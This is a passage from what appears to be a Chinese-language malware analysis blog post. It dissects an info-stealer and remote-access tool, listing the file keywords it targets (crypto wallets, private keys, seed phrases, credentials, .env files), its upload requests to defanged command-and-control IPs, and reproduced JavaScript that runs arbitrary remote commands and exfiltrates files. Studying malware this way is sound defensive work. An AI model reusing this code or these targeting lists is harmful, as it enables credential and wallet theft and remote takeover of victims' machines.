fusion,</span><br><span class="line">vmware fusion<span class="selector-class">.app</span>, vmware workstation, vmware player, vmware vsphere,</span><br><span class="line">vmware vcenter, /applications/vmware, /usr/lib/vmware, /usr/share/vmware,</span><br><span class="line">program files/vmware, program files (x86)/vmware, appdata/local/vmware,</span><br><span class="line">appdata/roaming/vmware, library/application support/vmware, <span class="selector-class">.vmwarevm</span>,</span><br><span class="line"><span class="selector-class">.vmdk</span>, <span class="selector-class">.vmem</span>, <span class="selector-class">.vmsn</span>, <span class="selector-class">.vmsd</span>, <span class="selector-class">.vmx</span>, <span class="selector-class">.vmxf</span>, <span class="selector-class">.nvram</span>, <span class="selector-class">.vmtm</span>, mysql, postgresql,</span><br><span class="line">mongodb, redis, elasticsearch, openzeppelin, prisma, <span class="selector-class">.expo</span>, <span class="selector-class">.svelte-kit</span>,</span><br><span class="line">hooks, <span class="selector-class">.wine</span>, .<span class="number">3</span>T, <span class="selector-class">.gk</span>, <span class="selector-class">.move</span>, <span class="selector-class">.tldrc</span>, <span class="selector-class">.android</span>, <span class="selector-class">.avm</span>, <span class="selector-class">.brownie</span>,</span><br><span class="line"><span class="selector-class">.cocoapods</span>, <span class="selector-class">.zsh_sessions</span>, <span class="selector-class">.pm2</span>, <span class="selector-class">.pyp</span>, <span class="selector-class">.myi</span>, manifest, debug, plugin, plugins</span><br></pre></td></tr></table></figure><p>目標機敏檔案關鍵字&#x2F; 副檔名</p><ul><li><p>錢包相關</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.keystore, phone, database, <span class="keyword">bank, </span>financ, metamask, phantom, <span class="keyword">bitcoin,</span></span><br><span class="line"><span class="keyword"></span>ethereum, eth, trust, wallet, coinbase, exodus, ledger, trezor, keystore,</span><br><span class="line">keyring, keychain, atomic, electrum, mycelium, <span class="keyword">blockchain, </span><span class="keyword">bravewallet,</span></span><br><span class="line"><span class="keyword"></span>rabby, coin98, <span class="keyword">backpack, </span>core, mathwallet, solflare, glow, keplr, argent,</span><br><span class="line">martian, petra, <span class="keyword">binance, </span>okx, crypto, cryptocurrency, hardhat, truffle</span><br></pre></td></tr></table></figure></li><li><p>私鑰&#x2F;憑證</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">private, privatekey, private_key, private-key, privkey, priv_key, key,</span><br><span class="line">keypair, key_pair, key-pair, <span class="string">.pem</span>, <span class="string">.p12</span>, <span class="string">.pfx</span>, <span class="string">.jks</span>, <span class="string">.keys</span>, keys, <span class="string">.p8</span>,</span><br><span class="line"><span class="string">.p7b</span>, <span class="string">.p7c</span>, <span class="string">.cer</span>, <span class="string">.crt</span>, <span class="string">.cert</span>, cert, <span class="string">.der</span>, id_rsa, id_dsa, id_ecdsa,</span><br><span class="line">id_ed25519, <span class="string">.pub</span>, <span class="string">.priv</span></span><br></pre></td></tr></table></figure></li><li><p>助記詞&#x2F;種子</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">seed</span>, seedphrase, seed_phrase, seed-phrase, mnemonic, phrase, passphrase,</span><br><span class="line"><span class="attribute">pass_phrase</span>, pass-phrase, recovery, recoveryphrase, recovery_phrase,</span><br><span class="line"><span class="attribute">recovery</span>-phrase, backup, backupphrase, backup_phrase, backup-phrase,</span><br><span class="line"><span class="attribute">12words</span>, <span class="number">12</span>_words, <span class="number">12</span>-words, <span class="number">24</span>words, <span class="number">24</span>_words, <span class="number">24</span>-words, bip39, bip44</span><br></pre></td></tr></table></figure></li><li><p>認證資訊</p><figure class="highlight autohotkey"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">password,</span> passwd, pass, pwd, credential, credentials, auth, authentication,</span><br><span class="line"><span class="built_in">token,</span> access_token, refresh_token, api_key, apikey, api-key, apisecret,</span><br><span class="line"><span class="built_in">api_secret,</span> api-secret, secret, secrets, secretkey, secret_key, secret-key,</span><br><span class="line"><span class="built_in">masterkey,</span> master_key, master-key, masterpassword, master_password,</span><br><span class="line">master-password</span><br></pre></td></tr></table></figure></li><li><p>帳號資訊</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">account, accounts, profile, profiles, <span class="keyword">user</span>, username, user_name, <span class="keyword">user</span>-<span class="type">name</span>,</span><br><span class="line"><span class="keyword">login</span>, signin, sign_in, sign-<span class="keyword">in</span>, address, addresses, tx, <span class="keyword">transaction</span>,</span><br><span class="line">transactions</span><br></pre></td></tr></table></figure></li><li><p>設定檔</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.env</span>, env, environment, config, configuration, configure, <span class="string">.conf</span>, <span class="string">.cfg</span>,</span><br><span class="line"><span class="string">.ini</span>, <span class="string">.properties</span>, <span class="string">.yaml</span>, <span class="string">.yml</span>, <span class="string">.toml</span></span><br></pre></td></tr></table></figure></li><li><p>資料庫&#x2F;文件</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.db</span>, <span class="selector-class">.sqlite</span>, <span class="selector-class">.sqlite3</span>, <span class="selector-class">.sql</span>, <span class="selector-class">.mdb</span>, <span class="selector-class">.accdb</span>, <span class="selector-class">.dbf</span>, <span class="selector-class">.doc</span>, <span class="selector-class">.docx</span>, <span class="selector-class">.pdf</span>,</span><br><span class="line"><span class="selector-class">.md</span>, <span class="selector-class">.markdown</span>, <span class="selector-class">.rtf</span>, <span class="selector-class">.odt</span>, <span class="selector-class">.xls</span>, <span class="selector-class">.xlsx</span>, <span class="selector-class">.txt</span>, <span class="selector-tag">text</span>, note, notes,</span><br><span class="line">memo, memos</span><br></pre></td></tr></table></figure></li><li><p>截圖&#x2F;媒體</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">screenshot, screen, snapshot, capture, <span class="string">.png</span>, <span class="string">.jpg</span>, <span class="string">.jpeg</span>, <span class="string">.bmp</span></span><br></pre></td></tr></table></figure></li><li><p>程式碼&#x2F;資料</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.json</span>, <span class="string">.js</span>, <span class="string">.ts</span>, <span class="string">.jsx</span>, <span class="string">.tsx</span>, <span class="string">.csv</span>, <span class="string">.xml</span></span><br></pre></td></tr></table></figure></li><li><p>備份&#x2F;其他敏感</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.lock</span>, <span class="string">.log</span>, <span class="string">.bak</span>, backup, <span class="string">.old</span>, <span class="string">.orig</span>, <span class="string">.save</span>, <span class="string">.swp</span>, <span class="string">.tmp</span>, tmp, my,</span><br><span class="line">personal, vault, safe, secure, lock, encrypt, decrypt, signature, sign,</span><br><span class="line">certificate, identity, session, cookie</span><br></pre></td></tr></table></figure></li></ul><p>附檔案檔案排除</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.exe</span>, <span class="string">.dll</span>, <span class="string">.so</span>, <span class="string">.dylib</span>, <span class="string">.bin</span>, <span class="string">.app</span>, <span class="string">.deb</span>, <span class="string">.rpm</span>, <span class="string">.pkg</span>, <span class="string">.dmg</span>, <span class="string">.msi</span>,</span><br><span class="line"><span class="string">.appimage</span>, <span class="string">.lnk</span>, <span class="string">.alias</span>, <span class="string">.desktop</span>, <span class="string">.mp4</span>, <span class="string">.mp3</span>, <span class="string">.avi</span>, <span class="string">.mov</span>, <span class="string">.wmv</span>, <span class="string">.flv</span>,</span><br><span class="line"><span class="string">.mkv</span>, <span class="string">.webm</span>, <span class="string">.wma</span>, <span class="string">.wav</span>, <span class="string">.flac</span>, <span class="string">.aac</span>, <span class="string">.ogg</span>, <span class="string">.m4a</span>, <span class="string">.gif</span>, <span class="string">.tiff</span>, <span class="string">.svg</span>,</span><br><span class="line"><span class="string">.ico</span>, <span class="string">.heif</span>, <span class="string">.tmp</span>, <span class="string">.temp</span>, <span class="string">.swp</span>, <span class="string">.swo</span>, <span class="string">.jar</span>, <span class="string">.war</span>, <span class="string">.ear</span>,</span><br><span class="line"><span class="string">.sublime-project</span>, <span class="string">.sublime-workspace</span></span><br></pre></td></tr></table></figure><p>只要一掃描到符合的機敏檔案，會先判斷是否大於5 MB ，如果小於就上傳到 <code>144[.]172[.]107[.]191:8086/upload</code></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/upload</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8086</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">path</span><span class="punctuation">: </span>&lt;filepath_urlencoded&gt;</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>&lt;t&gt;</span><br><span class="line">[FormData with file]</span><br></pre></td></tr></table></figure><hr><h4 id="socketScript-TEMP-pid-t-3-lock"><a href="#socketScript-TEMP-pid-t-3-lock" class="headerlink" title="socketScript ( %TEMP%&#x2F;pid.[t].3.lock)"></a>socketScript ( %TEMP%&#x2F;pid.[t].3.lock)</h4><p>這個模組主要進行 C2 控制命令解析與執行</p><p>首先會先使用下面的方式對 <code>114.172.107[.]191:8087/api/notify</code> 做初始通知</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/notify</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8087</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line">&#123;</span><br><span class="line">  &quot;ukey&quot;: &lt;userkey&gt;,</span><br><span class="line">  &quot;t&quot;: &lt;t&gt;,</span><br><span class="line">  &quot;host&quot;: &quot;101_&lt;hostname&gt;&quot;,</span><br><span class="line">  &quot;os&quot;: &quot;&lt;os_type&gt; &lt;os_release&gt;&quot;,</span><br><span class="line">  &quot;username&quot;: &quot;&lt;username&gt;&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之後使用 web socket 與<code>ws://114.172.107[.]191:8087</code>進行命令傳輸</p><table><thead><tr><th align="left">事件</th><th align="left">方向</th><th align="left">說明</th></tr></thead><tbody><tr><td align="left"><code>connect</code></td><td align="left">受害→C2</td><td align="left">連線成功，開始搜尋 <code>.env*</code></td></tr><tr><td align="left"><code>connect_error</code></td><td align="left">受害</td><td align="left">處理連線錯誤</td></tr><tr><td align="left"><code>whour</code></td><td align="left">C2→受害</td><td align="left">C2 查詢身份</td></tr><tr><td align="left"><code>whoIm</code></td><td align="left">受害→C2</td><td align="left">回報主機資訊</td></tr><tr><td align="left"><code>command</code></td><td align="left">C2→受害</td><td align="left">執行任意命令</td></tr><tr><td align="left"><code>message</code></td><td align="left">受害→C2</td><td align="left">回傳命令結果</td></tr><tr><td align="left"><code>disconnect</code></td><td align="left">受害</td><td align="left">斷線處理</td></tr><tr><td align="left"><code>reconnect</code></td><td align="left">受害</td><td align="left">重連成功</td></tr><tr><td align="left"><code>processControl</code></td><td align="left">C2→受害</td><td align="left">遠端控制進程</td></tr><tr><td align="left"><code>processStatus</code></td><td align="left">受害→C2</td><td align="left">回報進程狀態</td></tr></tbody></table><h5 id="Connect-Connet-error"><a href="#Connect-Connet-error" class="headerlink" title="Connect &#x2F; Connet error"></a>Connect &#x2F; Connet error</h5><p>連線成功，開始搜尋 <code>.env*</code> 並上傳到<code>http://144.172.107[.]191:8085/api/upload-file</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;connect&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;✅ Connected to socket server (for file browsing)&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">  socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line"></span><br><span class="line">  <span class="title function_">setImmediate</span>(<span class="title function_">async</span> () =&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">await</span> <span class="string">&quot;.env&quot;</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Error searching for .env files:&quot;</span>, err.<span class="property">message</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;connect_error&quot;</span>, <span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;❌ Socket connection error:&quot;</span>, error.<span class="property">message</span>);</span><br><span class="line">  <span class="title function_">reject</span>(error);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>HTTP POST請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/upload-file</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8085</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/octet-stream</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>1706567890</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">path</span><span class="punctuation">: </span>found..env%2F_Users_victim_project_.env</span><br><span class="line"><span class="attribute">filename</span><span class="punctuation">: </span>.env</span><br><span class="line"><span class="attribute">timestamp</span><span class="punctuation">: </span>1706567890</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>256</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"></span><br><span class="line"><span class="language-angelscript"><span class="string">[.env content]</span></span></span><br></pre></td></tr></table></figure><h5 id="whour-whoIm"><a href="#whour-whoIm" class="headerlink" title="whour&#x2F;whoIm"></a>whour&#x2F;whoIm</h5><p>查詢身份與回報身份</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;whour&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> s_i = <span class="title function_">gsi</span>();</span><br><span class="line">  socket.<span class="title function_">emit</span>(<span class="string">&quot;whoIm&quot;</span>, &#123;</span><br><span class="line">    <span class="attr">ukey</span>: <span class="number">101</span>,</span><br><span class="line">    <span class="attr">t</span>: &lt;timestamp&gt;,</span><br><span class="line">    <span class="attr">host</span>: <span class="string">&quot;101_&quot;</span> + s_i.<span class="property">host</span>,</span><br><span class="line">    <span class="attr">os</span>: s_i.<span class="property">os</span>,</span><br><span class="line">    <span class="attr">username</span>: s_i.<span class="property">username</span>,</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h5 id="command-message"><a href="#command-message" class="headerlink" title="command&#x2F;message"></a>command&#x2F;message</h5><p>執行命令與回報結果</p><ul><li>code 102 : 讀取目錄列表</li><li>code 107 : 讀取並上傳<ul><li>如果檔案大小大於 1MB : HTTP + WebSocket ，HTTP 路徑為：<code>http://144.172.107[.]191:8085/api/upload-file</code></li><li>如果檔案大小大於 1MB : Only Http，HTTP 路徑為：<code>http://144.172.107[.]191:8085/api/upload-file</code></li></ul></li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;command&quot;</span>, <span class="function">(<span class="params">msg</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="attr">message</span>: command, code, cid, sid, <span class="attr">path</span>: filePath &#125; = msg;</span><br><span class="line">    <span class="keyword">if</span> (code === <span class="string">&quot;102&quot;</span> &amp;&amp; filePath) &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> dirPath = filePath.<span class="title function_">replace</span>(<span class="regexp">/\\+$/</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(dirPath)) &#123;</span><br><span class="line">          <span class="keyword">const</span> stats = fs.<span class="title function_">statSync</span>(dirPath);</span><br><span class="line">          <span class="keyword">if</span> (stats.<span class="title function_">isDirectory</span>()) &#123;</span><br><span class="line">            <span class="keyword">const</span> items = fs.<span class="title function_">readdirSync</span>(dirPath, &#123; <span class="attr">encoding</span>: <span class="string">&quot;utf8&quot;</span> &#125;);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">const</span> result = items.<span class="title function_">map</span>(<span class="function">(<span class="params">item</span>) =&gt;</span> &#123;</span><br><span class="line">              <span class="keyword">const</span> fullPath = path.<span class="title function_">join</span>(dirPath, item);</span><br><span class="line">              <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">const</span> itemStats = fs.<span class="title function_">statSync</span>(fullPath);</span><br><span class="line">                <span class="keyword">const</span> isDir = itemStats.<span class="title function_">isDirectory</span>();</span><br><span class="line">                <span class="keyword">return</span> &#123;</span><br><span class="line">                  <span class="attr">name</span>: item,</span><br><span class="line">                  <span class="attr">path</span>: fullPath,</span><br><span class="line">                  <span class="attr">type</span>: isDir ? <span class="string">&quot;dir&quot;</span> : <span class="string">&quot;file&quot;</span>,</span><br><span class="line">                  <span class="attr">size</span>: isDir ? <span class="literal">null</span> : itemStats.<span class="property">size</span>,</span><br><span class="line">                  <span class="attr">date</span>: itemStats.<span class="property">mtime</span>.<span class="title function_">toLocaleString</span>(),</span><br><span class="line">                &#125;;</span><br><span class="line">              &#125; <span class="keyword">catch</span> (statError) &#123;</span><br><span class="line">                <span class="keyword">return</span> &#123;</span><br><span class="line">                  <span class="attr">name</span>: item,</span><br><span class="line">                  <span class="attr">path</span>: fullPath,</span><br><span class="line">                  <span class="attr">type</span>: <span class="string">&quot;file&quot;</span>,</span><br><span class="line">                  <span class="attr">size</span>: <span class="literal">null</span>,</span><br><span class="line">                  <span class="attr">date</span>: <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toLocaleString</span>(),</span><br><span class="line">                &#125;;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;);</span><br><span class="line"></span><br><span class="line">            socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">              ...msg,</span><br><span class="line">              <span class="attr">result</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(result),</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125; <span class="keyword">catch</span> (dirError) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">warn</span>(<span class="string">`Failed to read directory: <span class="subst">$&#123;dirError.message&#125;</span>`</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">exec</span>(</span><br><span class="line">      command,</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="attr">windowsHide</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="attr">maxBuffer</span>: <span class="number">1024</span> * <span class="number">1024</span> * <span class="number">300</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">      <span class="title function_">async</span> (error, stdout, stderr) =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> isWslPermissionError =</span><br><span class="line">          stderr &amp;&amp;</span><br><span class="line">          <span class="regexp">/Permission denied/i</span>.<span class="title function_">test</span>(stderr) &amp;&amp;</span><br><span class="line">          stdout &amp;&amp;</span><br><span class="line">          stdout.<span class="title function_">trim</span>().<span class="property">length</span> &gt; <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (error &amp;&amp; !isWslPermissionError) &#123;</span><br><span class="line">          socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">            <span class="attr">result</span>: error.<span class="property">message</span>,</span><br><span class="line">            ...msg,</span><br><span class="line">            <span class="attr">type</span>: <span class="string">&quot;error&quot;</span>,</span><br><span class="line">          &#125;);</span><br><span class="line">          <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (stderr &amp;&amp; !isWslPermissionError) &#123;</span><br><span class="line">          socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">            <span class="attr">result</span>: stderr,</span><br><span class="line">            ...msg,</span><br><span class="line">            <span class="attr">type</span>: <span class="string">&quot;stderr&quot;</span>,</span><br><span class="line">          &#125;);</span><br><span class="line">          <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> fileUrl = <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">let</span> fileContentToSend = stdout;</span><br><span class="line">        <span class="keyword">const</span> maxSize = <span class="number">1</span> * <span class="number">1024</span> * <span class="number">1024</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (code === <span class="string">&quot;107&quot;</span> &amp;&amp; filePath) &#123;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(filePath)) &#123;</span><br><span class="line">              <span class="keyword">const</span> fileBuffer = fs.<span class="title function_">readFileSync</span>(filePath);</span><br><span class="line">              <span class="keyword">const</span> fileSize = fileBuffer.<span class="property">length</span>;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">const</span> uploadResult = <span class="keyword">await</span> <span class="title function_">uploadFileToLdb</span>(filePath, fileBuffer);</span><br><span class="line">              <span class="keyword">if</span> (uploadResult &amp;&amp; uploadResult.<span class="property">fileUrl</span>) &#123;</span><br><span class="line">                fileUrl = uploadResult.<span class="property">fileUrl</span>;</span><br><span class="line">              &#125;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">if</span> (fileSize &gt; maxSize) &#123;</span><br><span class="line">                fileContentToSend = <span class="literal">null</span>;</span><br><span class="line">                <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`File too large, sending URL only: <span class="subst">$&#123;fileUrl&#125;</span>`</span>);</span><br><span class="line">              &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                fileContentToSend = stdout;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;</span><br><span class="line">          &#125; <span class="keyword">catch</span> (readError) &#123;&#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">          ...msg,</span><br><span class="line">          <span class="attr">result</span>: fileContentToSend,</span><br><span class="line">          <span class="attr">fileUrl</span>: fileUrl,</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;,</span><br><span class="line">    );</span><br><span class="line">  &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">    socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">      ...msg,</span><br><span class="line">      <span class="attr">result</span>: e.<span class="property">message</span>,</span><br><span class="line">      <span class="attr">type</span>: <span class="string">&quot;error&quot;</span>,</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>HTTP POST 請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/upload-file</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8085</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/octet-stream</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">t</span><span 